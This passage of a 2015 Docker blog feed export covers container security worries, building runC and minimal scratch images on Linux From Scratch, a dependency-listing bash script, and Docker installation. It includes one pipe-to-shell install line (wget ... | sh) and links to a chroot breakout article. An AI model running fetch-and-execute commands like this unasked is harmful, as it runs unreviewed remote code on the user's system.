&lt;p&gt;Another tip: You can run docker on a chroot environment by a script that cleanup any files. But chroot environment isn&#39;t that secure. &lt;a href=&quot;http://pentestmonkey.net/blog/chroot-breakout-perl&quot;&gt;http://pentestmonkey.net/blog/chroot-breakout-perl&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Because of it&#39;s security flaws docker options are coming to light: &lt;a href=&quot;http://siliconangle.com/blog/2014/12/02/coreos-launches-container-wars-with-rival-tech-to-fight-docker/&quot;&gt;http://siliconangle.com/blog/2014/12/02/coreos-launches-container-wars-with-rival-tech-to-fight-docker/&lt;/a&gt;, &lt;a href=&quot;https://coreos.com/blog/rocket/&quot; &gt;https://coreos.com/blog/rocket/&lt;/a&gt;. I&#39;m not so sure if it is more secure than docker because it runs as root anyway.&lt;/p&gt;
&lt;p&gt;I&#39;m afraid docker brings linux to great vulnerability. This is because for now, I can&#39;t see any really full secure way to run it. A.K.A. run containers without the root.&lt;/p&gt;

&lt;p&gt;Maybe running it inside a vangrant or virtualbox vm, but it lost too many benefits from docker performance.&lt;/p&gt;
&lt;p&gt;What I see is that doesn&#39;t matter, if the process run as root, the host are vulnerable.&lt;/p&gt;
&lt;p&gt;There is a point, yes docker is vulnerable, but, if you do control how docker is started, how virtual shares as mapped and what docker user can do on host, you can increase security. Not perfect, but more than nothing.&lt;/p&gt;
&lt;p&gt;The real question for me now is, the docker benefits is greater than docker flaws ? I&#39;m sure for development and non critical applications, but I&#39;m not so sure for real productions serious environments.&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/6371319408907493955/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/6371319408907493955' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6371319408907493955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6371319408907493955'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/07/docker-security-not-so-perfect-as-it.html' title='Docker security - Not so perfect as it seems...'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-3148233151977513873</id><published>2015-06-27T07:41:00.002-03:00</published><updated>2015-06-27T07:41:41.869-03:00</updated><title type='text'>Building runC on LFS</title><content type='html'>&lt;p&gt;Today I receive a email from docker news about runC, seems to be a new way to run containers, In readme it&#39;s just a make, but it&#39;s never so simple on a LFS.&lt;/p&gt;
&lt;p&gt;$GOPATH not set:&lt;/p&gt;
 &lt;pre class=&quot;brush: bash&quot;&gt;
$ make
go get github.com/tools/godep
package github.com/tools/godep: cannot download, $GOPATH not set. For more details see: go help gopath
make: ** [all] Erro 1
 &lt;/pre&gt;
 &lt;p&gt;Easily set by $PWD, &lt;i&gt;but&lt;/i&gt;&lt;/p&gt;
 &lt;pre class=&quot;brush: bash&quot;&gt;
$ GOPATH=$PWD make
go get github.com/tools/godep
godep go build -o runc .
make: godep: Command not found
make: *** [all] Error 127
 &lt;/pre&gt;
&lt;p&gt;anyway, the previous command showed us from where godep command came and that go tried to get it, so where is it?&lt;/p&gt;
 &lt;pre class=&quot;brush: bash&quot;&gt;
$ find -name godep
./src/github.com/tools/godep
./bin/godep
&lt;/pre&gt;
&lt;p&gt;then the problem is only path.&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ PATH=$PATH:bin GOPATH=$PWD make
go get github.com/tools/godep
godep go build -o runc .
&lt;/pre&gt;
&lt;p&gt;or just copy bin/godep to /usr/bin.&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
sudo cp -v bin/godep runc /usr/bin
Password:
“bin/godep” -&gt; “/usr/bin/godep”
“runc” -&gt; “/usr/bin/runc”
$ runc
FATA[0000] runc should be run as root
$ sudo runc
JSON specification file for container.json not found
&lt;/pre&gt;
Seems to be ok, now let&#39;s learn something new.

But I&#39;ll do it in another post.
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/3148233151977513873/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/3148233151977513873' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3148233151977513873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3148233151977513873'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/06/building-runc-on-lfs.html' title='Building runC on LFS'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-6018224571360586023</id><published>2015-06-24T11:51:00.001-03:00</published><updated>2015-06-24T11:59:03.474-03:00</updated><title type='text'>static ELF dependencies search for docker images</title><content type='html'>&lt;p&gt;In my previous post (
&lt;a href=&quot;http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html&quot;&gt;http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html&lt;/a&gt; ), I did a docker image from scratch for running bash. But bash itself don&#39;t solve many problems. We need to add our tools and dependencies.
&lt;/p&gt;
&lt;p&gt;
I really don&#39;t know a tool to do it, so I wrote a bash script to solve that:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
#!/bin/bash
# use:
# getbash.sh /path/to/lib-or-elf.so

LIBLD=/lib64/ld-linux-x86-64.so.2;
LIB=&quot;$1&quot;;
function getdeps()
{
    {
        echo &quot;$1&quot;;
        $LIBLD --list $1 |
                cut -d&#39; &#39; -f3 | sort | uniq | 
                while read f;  
                do [ ! &quot;$f&quot; == &quot;&quot; ] &amp;&amp; [ &quot;$(echo -e &quot;$deps&quot; | grep -c &quot;$f&quot;)&quot; == &quot;0&quot; ] &amp;&amp; {
                        deps=&quot;$deps\n$f&quot;;
                        getdeps &quot;$f&quot;;
                };  
                done;
    } | sort | uniq;
}

getdeps &quot;${LIB}&quot;
&lt;/pre&gt;
&lt;p&gt;
It just use the ld lib to list dependencies and extract the current path to it. Of course it don&#39;t can get another resources used by those libs but already is itself a lot of help on tracking it&#39;s dependencies.
&lt;/p&gt;
&lt;p&gt;
So, in simples cases, it&#39;s halfway to get you static elf in docker running. You can choice if you want to copy all path or just all libs. I think it&#39;s better to copy all to one place like:
&lt;pre class=&quot;brush: bash&quot;&gt;
mkdir deplibs &amp;&amp; 
 ./getdeps.sh &quot;/path/to/your/elf&quot; | 
 xargs -i cp -v &quot;{}&quot; ./deplibs;
&lt;/pre&gt;
Another simple script can copy all dependencies to a deps dir in current directory structure.
&lt;pre class=&quot;brush: bash&quot;&gt;
./getdeps.sh &quot;/path/to/your/elf&quot; | 
    while read f; 
    do d=&quot;./deps/$(dirname &quot;$f&quot;)&quot;; 
        [ ! -e &quot;$d&quot; ] &amp;&amp; mkdir -pv &quot;$d&quot;; 
        cp -v &quot;$f&quot; &quot;$d&quot;; 
    done;
&lt;/pre&gt;
Don&#39;t forget to set the LD_LIBRARY_PATH or the /etc/ld.so.conf, according your choice.
If you put all your deps in a dir named deplibs, just add these 2 lines to your Dockerfile:
&lt;pre class=&quot;brush: bash&quot;&gt;
COPY deps/libs /deplibs
ENV LD_LIBRARY_PATH /deplibs
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
At this time you probably already know how proceed with your Dockerfile.
&lt;/p&gt;


</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/6018224571360586023/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/6018224571360586023' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6018224571360586023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6018224571360586023'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/06/static-elf-dependencies-search-for.html' title='static ELF dependencies search for docker images'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-3313279989157942207</id><published>2015-06-13T12:14:00.000-03:00</published><updated>2015-06-13T13:16:52.052-03:00</updated><title type='text'>How to make a very, very, small docker image for dynamic programs.</title><content type='html'>&lt;p&gt;
I digging in the docker, and I found docker image containers too bigger than they need to be.
&lt;/p&gt;
&lt;p&gt;
If you want a really small and functional docker image, look at &quot;alpine&quot;, it uses actually 5.242MB, and has a bash and package manager. I really appreciate this image.
&lt;/p&gt;
&lt;p&gt;
Anyway, I&#39;m just too curious to stay on others job, I need to do it from myself, understand, and then I can accept that others has a better solution and just use it.
&lt;/p&gt;
&lt;p&gt;
In this way, I did started a research to make my own basic functional image.
&lt;/p&gt;
&lt;p&gt;
If you just want a basic structure to use docker with low space usage, use &quot;&lt;b&gt;docker run -ti alpine sh&lt;/b&gt;&quot; and be happy. if you, as me, feel the need to learn more, keep reading.
&lt;/p&gt;
&lt;p&gt;
The docker documentation show us how to create a image from scratch.
&lt;a href=&quot;http://docs.docker.com/articles/baseimages/#creating-a-simple-base-image-using-scratch&quot;&gt;http://docs.docker.com/articles/baseimages/#creating-a-simple-base-image-using-scratch&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
It&#39;s just
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
FROM scratch
COPY true-asm /true
CMD [&quot;/true&quot;]
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
If you have a statically linked program, it&#39;s all you need to know. Just copy your program and set it in CMD.
A nice sample is here in this article/tutorial to create a &quot;go&quot; web server:
&lt;a href=&quot;http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/&quot;&gt;http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
But what about a really clean docker image for dynamic linked programs? what about run bash in a smaller possible docker?
Well, for it we need to learn/remember some concepts.
&lt;/p&gt;
&lt;p&gt;
To avoid keep this post to big, you can learn this concepts here:
&lt;a href=&quot;http://www.ibm.com/developerworks/library/l-lpic1-v3-102-3/l-lpic1-v3-102-3-pdf.pdf&quot;&gt;http://www.ibm.com/developerworks/library/l-lpic1-v3-102-3/l-lpic1-v3-102-3-pdf.pdf&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
In theory, we just need to detect all the dependencies using &quot;ld.so --list&quot; and copy it to our scratch docker.
&lt;/p&gt;
&lt;p&gt;
Let&#39;s do a docker image to run /bin/bash:
&lt;/p&gt;
&lt;p&gt;
create a clean directory called docker_bash and enter it.
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
mkdir docker_bash;
cd docker_bash;
&lt;/pre&gt;
&lt;p&gt;
Let&#39;s create a Dockerfile to build our image, and see how much space we use:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
echo &quot;FROM scratch&quot; &gt; Dockerfile
docker build -t docker_bash .
&lt;/pre&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
Sending build context to Docker daemon 2.048 kB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---&gt; 
Step 1 : CMD /bin/bash
 ---&gt; Running in 61af7327eb2e
 ---&gt; aeb4860259ea
Removing intermediate container 61af7327eb2e
Successfully built aeb4860259ea
&lt;/pre&gt;
Now we can see that we have a empty image result zero bytes:
&lt;pre class=&quot;brush: bash&quot;&gt;
$ docker images  |grep docker_bash
docker_bash             latest              aeb4860259ea        8 seconds ago       0 B
&lt;/pre&gt;
&lt;p&gt;
My intent is to run a dynamic linked program (bash), so what my dependencies ? the ld.so can say it. 
To show what is your ld.so, just use:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ ls /lib/ld-* -l
-rwxr-xr-x 1 root root 163500 Abr 10  2013 /lib/ld-2.17.so
lrwxrwxrwx 1 root root     10 Abr  8  2013 /lib/ld-linux-x86-64.so.2 -&gt; ld-2.17.so
&lt;/pre&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ /lib/ld-2.17.so --list /bin/bash
        linux-vdso.so.1 (0x00007ffcb03ba000)
        libreadline.so.6 =&gt; /lib64/libreadline.so.6 (0x00007fbee994c000)
        libhistory.so.6 =&gt; /lib64/libhistory.so.6 (0x00007fbee9744000)
        libncursesw.so.5 =&gt; /lib64/libncursesw.so.5 (0x00007fbee94e1000)
        libdl.so.2 =&gt; /lib64/libdl.so.2 (0x00007fbee92dd000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fbee8f30000)
        /lib64/ld-linux-x86-64.so.2 =&gt; /lib/ld-2.17.so (0x00007fbee9ba8000)
&lt;/pre&gt;
&lt;p&gt;
Here you are, all your dependencies. You can do the same in each lib listed to ensure it has no others dependencies. I&#39;m not sure &quot;ld.so --list&quot; show recursive dependencies, I don&#39;t think so. But for bash is just these.
&lt;/p&gt;
&lt;p&gt;
The COPY command in Dockerfile just copy from current directory and below, so we need to copy those deps to current directory structure:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ mkdir {lib{,64},bin}
$ cp /lib64/ld-2.17.so lib64/
$ ln -sv /lib64/ld-2.17.so lib64/ld-linux-x86-64.so.2
“lib64/ld-linux-x86-64.so.2” -&gt; “/lib64/ld-2.17.so”
$ cp /lib64/libc.so.6 lib64/
$ cp /lib64/libdl.so.2 lib64/
$ cp /lib64/libncursesw.so.5 lib64/
$ cp /lib64/libhistory.so.6 lib64/
$ cp /lib64/libreadline.so.6 lib64/
$ cp /bin/bash bin/
&lt;/pre&gt;
&lt;p&gt;
Note the symlink was created to our root, but in our image it&#39;s correct.
&lt;/p&gt;
&lt;p&gt;
We can use chroot to test our structure:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ sudo chroot $PWD/ /lib64/ld-linux-x86-64.so.2 
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so&#39;, the helper program for shared library executables.
This program usually lives in the file `/lib/ld.so&#39;, and special directives
in executable files using ELF shared libraries tell the system&#39;s program
loader to load the helper program from this file.  This helper program loads
the shared libraries needed by the program executable, prepares the program
to run, and runs it.  You may invoke this helper program directly from the
command line to load and run an ELF executable file; this is like executing
that file itself, but always uses this helper program from the file you
specified, instead of the helper program file specified in the executable
file you run.  This is mostly of use for maintainers to test new versions
of this helper program; chances are you did not intend to run this program.

  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
                        object we can handle
  --inhibit-cache       Do not use /etc/ld.so.cache
  --library-path PATH   use given PATH instead of content of the environment
                        variable LD_LIBRARY_PATH
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
                        in LIST
  --audit LIST          use objects named in LIST as auditors
&lt;/pre&gt;
&lt;p&gt;
ld.so is static and worked in chroot.
What about bash ?
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ sudo chroot $PWD/ /bin/bash
I have no name!:/$ 
&lt;/pre&gt;
&lt;p&gt;
You can play with bash bultin commands. When you ready to continue, just exit.
&lt;/p&gt;
&lt;p&gt;
Time to build our image and see how it works.
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ cat &gt;Dockerfile&amp;lt;&amp;lt;EOF
FROM scratch
COPY . /
CMD /bin/bash
EOF
$ docker build -t &quot;docker_bash&quot; .
Sending build context to Docker daemon 3.808 MB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---&gt; 
Step 1 : COPY . /
 ---&gt; 8539cef0990d
Removing intermediate container 937d46fb9fa5
Step 2 : CMD /bin/bash
 ---&gt; Running in a95d91c15f87
 ---&gt; 259060ab8e92
Removing intermediate container a95d91c15f87
Successfully built 259060ab8e92
$ docker images  |grep docker_bash
docker_bash             latest              259060ab8e92        About a minute ago   3.799 MB
&lt;/pre&gt;
&lt;p&gt;
Our image has about 4MB. runnable ?
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ docker run -ti docker_bash
exec: &quot;/bin/sh&quot;: stat /bin/sh: no such file or directory
FATA[0000] Error response from daemon: Cannot start container 8f3ced2cc7fd7c68b9afbf8f884f89ded8342ef58e576baccdc2be72782d5011: [8] System error: exec: &quot;/bin/sh&quot;: stat /bin/sh: no such file or directory
&lt;/pre&gt;
&lt;p&gt;
the ENTRYPOINT is defalt to /bin/sh (which we don&#39;t have) so let&#39;s replace it:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ docker run -ti --entrypoint /bin/bash docker_bash
bash-4.2#
&lt;/pre&gt;
&lt;p&gt;
To be more complete, let&#39;s replace the ENTRYPOINT on Dockerfile to use ld.so, my final Dockerfile is:
&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
$ cat Dockerfile 
FROM scratch
COPY . /
ENTRYPOINT [ &quot;/lib64/ld-2.17.so&quot; ]
CMD [ &quot;/bin/bash&quot; ]
&lt;/pre&gt;
this way you can build and run it:
&lt;pre class=&quot;brush: bash&quot;&gt;
$ docker build -t &quot;docker_bash&quot; .
Sending build context to Docker daemon 3.808 MB
Sending build context to Docker daemon 
Step 0 : FROM scratch
 ---&gt; 
Step 1 : COPY . /
 ---&gt; 7f4d4645dacc
Removing intermediate container d44cea18c5e1
Step 2 : ENTRYPOINT /lib64/ld-2.17.so
 ---&gt; Running in fd0b71a445e9
 ---&gt; d8655fc72a5b
Removing intermediate container fd0b71a445e9
Step 3 : CMD /bin/bash
 ---&gt; Running in 7bda8673eb93
 ---&gt; 057518a04f80
Removing intermediate container 7bda8673eb93
Successfully built 057518a04f80
$ docker run -ti docker_bash
bash-4.2# 
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;Note:&lt;/b&gt; The ENTRYPOINT and CMD commands in Dockerfile accepts both syntax &quot;&lt;b&gt;ENTRYPOINT /lib64/ld-2.17.so&lt;/b&gt;&quot; and &quot;&lt;b&gt;ENTRYPOINT [ &quot;/lib64/ld-2.17.so&quot; ]&lt;/b&gt;&quot; in Dockerfile but in the first the command are prepended with &quot;/bin/sh -c&quot;. Ref: &lt;a href=&quot;http://kimh.github.io/blog/en/docker/gotchas-in-writing-dockerfile-en/&quot;&gt;http://kimh.github.io/blog/en/docker/gotchas-in-writing-dockerfile-en/&lt;/a&gt;
&lt;/p&gt;
But I just did it!
&lt;/p&gt;
&lt;p&gt;
I hope this post can be useful for anyone. (let me know).
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/3313279989157942207/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/3313279989157942207' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3313279989157942207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3313279989157942207'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/06/how-to-make-very-very-small-docker.html' title='How to make a very, very, small docker image for dynamic programs.'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-6857227635401085594</id><published>2015-05-05T14:40:00.003-03:00</published><updated>2015-05-05T14:40:43.267-03:00</updated><title type='text'>Docker for development environments</title><content type='html'>Docker is awesome. With it you can abstract almost anything. Once I read a tweet that says something like: &quot;&lt;i&gt;No matter the question, docker is is the answer&lt;/i&gt;&quot;. I think it&#39;s true, not because docker itself solve the question, but because it&#39;s a box, and the answers can be inside the box, so it&#39;s ease to carry on.&lt;br /&gt;
&lt;br /&gt;
It&#39;s clear for me how it can be benefit to not only for productions environments. but for developments environments too.&lt;br /&gt;
&lt;br /&gt;I think some readers can not understand very well docker, so I&#39;ll try to be very instructive.&lt;br /&gt;
&lt;br /&gt;
Conceptually, &quot;docker&quot; gives you a box, so you can organize your things inside the box, if you want a bigger box you can get it from docker too. But you need to know what you want to put in the box to choice the correct box from docker.&lt;br /&gt;
&lt;br /&gt;
Docker use some advanced linux techniques to create a secure sandbox, separating your thinks from the real system. Inside docker, you can not see (per default) the real filesystem, memory and cpu, processes, network connections and interfaces. Seems like virtualization but it&#39;s different.&lt;br /&gt;
&lt;br /&gt;
Why docker and virtualization are different ?&lt;br /&gt;
Well, in virtualization, you create a complete hardware structure, and load all operation system.&lt;br /&gt;
I see 2 big issues on it.&lt;br /&gt;
1. Load it is heavy and very, very slow.&lt;br /&gt;
2. Since a VM is a new layer of hardware translation, it can not be faster as run your code on host directly.&lt;br /&gt;
&lt;br /&gt;
These 2 issues do not exist in docker, because it run all your things inside the loaded linux kernel.&lt;br /&gt;
&lt;br /&gt;
Of course there are limitations too.&lt;br /&gt;
The main limitation in my opinion, is that you can not run windows code inside docker natively. but you can run docker inside the windows(using virtualization).&lt;br /&gt;
&lt;br /&gt;
But back to main topic, how can a developer team be benefit from docker ?&lt;br /&gt;
Well, what matter in docker is the docker image. You need to create a docker image with all your dependencies and requisites to deploy your application, or just to share your environment with others team members.&lt;br /&gt;
&lt;br /&gt;
How to do it?&lt;br /&gt;
Using docker is easy, you need to learn how to search base images:&lt;br /&gt;
&lt;pre class=&quot;Brush: bash&quot;&gt;
docker search centos
&lt;/pre&gt;
&lt;br /&gt;
Then choice your favorite, and just run it:
&lt;pre class=&quot;Brush: bash&quot;&gt;
docker run -ti centos:centos bash
&lt;/pre&gt;
After it you has a container, a container is a running instance(sandboxed) of a image, into the container you can do anything you want (install and configure your environment), and after generate another image from your container.&lt;br /&gt;
To see yours containers, just do:
&lt;pre class=&quot;Brush: bash&quot;&gt;
docker ps -a
&lt;/pre&gt;
To see your images, it&#39;s simple too:
&lt;pre class=&quot;Brush: bash&quot;&gt;
docker images
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;BUT&lt;/i&gt;&lt;/b&gt;, this way is dirty and dangerous, because you can create a incremental images, too many times you install and remove things that leave unnecessary and possibly problematic trails of libraries and configurations.&lt;br /&gt;
&lt;br /&gt;
To avoid it, you can use a DockerFile.&lt;br /&gt;
&lt;br /&gt;
Dockerfile, is a script used by docker to build a image. So, you can configure anything (like you did in container) in dockerfile. then just build the image from dockerfile.&lt;br /&gt;
&lt;br /&gt;
The problem is dockerfile can be slow to build, due downloading dependencies and other actions, so you can optimize it by creating a custom base image, or caching webfiles, but I do prefer a custom base image.&lt;br /&gt;
&lt;br /&gt;
A custom base image is just a image builded from you with all dependencies. So, it can be base for the final image for your project.

To know how to create a dockerFile, read the documentation from docker project:
&lt;a href=&quot;https://docs.docker.com/userguide/dockerimages/#building-an-image-from-a-dockerfile&quot;&gt;https://docs.docker.com/userguide/dockerimages/#building-an-image-from-a-dockerfile&lt;/a&gt;

You can connect your docker container to your Xorg server, then you can load any graphical application, like eclipse, in your X server host, without install Xorg in docker container.
To do it, here a sample dockerFile to download, install and run eclipse on a centos:docker:
&lt;pre class=&quot;Brush: bash&quot;&gt;
FROM centos:centos6
ENV DISPLAY :0
RUN yum install -y git wget tar gzip java-1.7.0-openjdk-devel.x86_64
RUN wget http://eclipse.c3sl.ufpr.br/technology/epp/downloads/release/luna/SR2/e
clipse-jee-luna-SR2-linux-gtk-x86_64.tar.gz
RUN tar xvf eclipse-jee-luna-SR2-linux-gtk-x86_64.tar.gz
CMD /eclipse/eclipse
&lt;/pre&gt;
you can build it with something like (in dockerfile dir):
&lt;pre class=&quot;Brush: bash&quot;&gt;
docker build -t docker_eclipse .
&lt;/pre&gt;
just run it with:
&lt;pre&gt;
docker run -v /tmp/.X11-unix:/tmp/.X11-unix docker_eclipse
&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/6857227635401085594/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/6857227635401085594' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6857227635401085594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6857227635401085594'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/05/docker-for-development-environments.html' title='Docker for development environments'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-5376687939696114304</id><published>2015-04-12T17:32:00.002-03:00</published><updated>2015-06-24T12:24:30.516-03:00</updated><title type='text'>Docker on LFS - The hard way</title><content type='html'>&lt;h2&gt;
Docker on LFS&lt;/h2&gt;
&lt;h3&gt;
The hard way&lt;/h3&gt;
I know, docker is to make things simple, not hard. BUT I&#39;m supposed to be the guy that solve problems, then I use LFS. This way I&#39;m forced to learn if I want to make any thing work in my environment.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
&lt;b&gt;About LFS&lt;/b&gt;&lt;/h4&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; LFS (&lt;a href=&quot;http://www.linuxfromscratch.org/&quot;&gt;www.linuxfromscratch.org&lt;/a&gt;) is not a linux distro, it is a book that instruct you how to build your own linux. I&#39;ve using it for too many years as my O.S. After configured it&#39;s fully functional, but it&#39;s not for all people. It&#39;s for ones that want to know how things works inside, and are ready to pay the price for it. What price ?... well, let&#39;s go ahead with docker instalation and you will see.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
My docker knowledge&lt;/h4&gt;
&lt;h4&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; I&#39;m really new to docker game, until now I&#39;ve no knowledge of go lang, and only searched a little about docker. After some reading I decided it&#39;s a nice tool and I need to know it more and test it in some of my projects. The docker project seems to be well documented, and the README file in source says some good tips to go ahead. so let&#39;s move on.&lt;/span&gt;&lt;/h4&gt;
&lt;h4&gt;
&lt;/h4&gt;
&lt;h4&gt;
Installing docker&lt;/h4&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; In some distros docker seems to be too simple to install, just:&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;wget -qO- https://get.docker.com/ | sh
&lt;/pre&gt;
&lt;br /&gt;
Do not work for me, but give me tips.&lt;br /&gt;
&lt;br /&gt;
One is the reference of instalation documents:&lt;br /&gt;
&lt;a href=&quot;https://docs.docker.com/en/latest/installation/&quot;&gt;https://docs.docker.com/en/latest/installation/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It can help you, for me I did select &quot;&lt;a href=&quot;http://docs.docker.com/installation/binaries/&quot;&gt;Binaries&lt;/a&gt;&quot;.&lt;br /&gt;
It is a nice tutorial, but lacks important info like kernel compilation features and real dependencies.&lt;br /&gt;
so, let&#39;s resume:&lt;br /&gt;
&lt;h4&gt;
Dependency: linux kernel options:&lt;/h4&gt;
Docker needs linux kernel 3.10+&lt;br /&gt;
Docker needs kernel with:&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_CGROUP_*&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_BRIDGE=m&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_AUFS_FS=m&lt;/span&gt; (patch from aufs3)&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;CONFIG_VETH=m &lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.linuxfromscratch.org/blfs/view/svn/basicnet/bridge-utils.html&quot;&gt;bridge-utils&lt;/a&gt; ( for CONFIG_BRIDGE kernel options)&lt;br /&gt;
&lt;b&gt;DO NOT&lt;/b&gt; use built-in(eg: y), use modules(m) in kernel.&lt;br /&gt;
&lt;br /&gt;
If you are using kernel option &quot;CONFIG_IKCONFIG=y&quot;, you can see the current kernel options using:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;cat /proc/config.gz | gunzip&lt;/span&gt;&lt;/blockquote&gt;
or&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
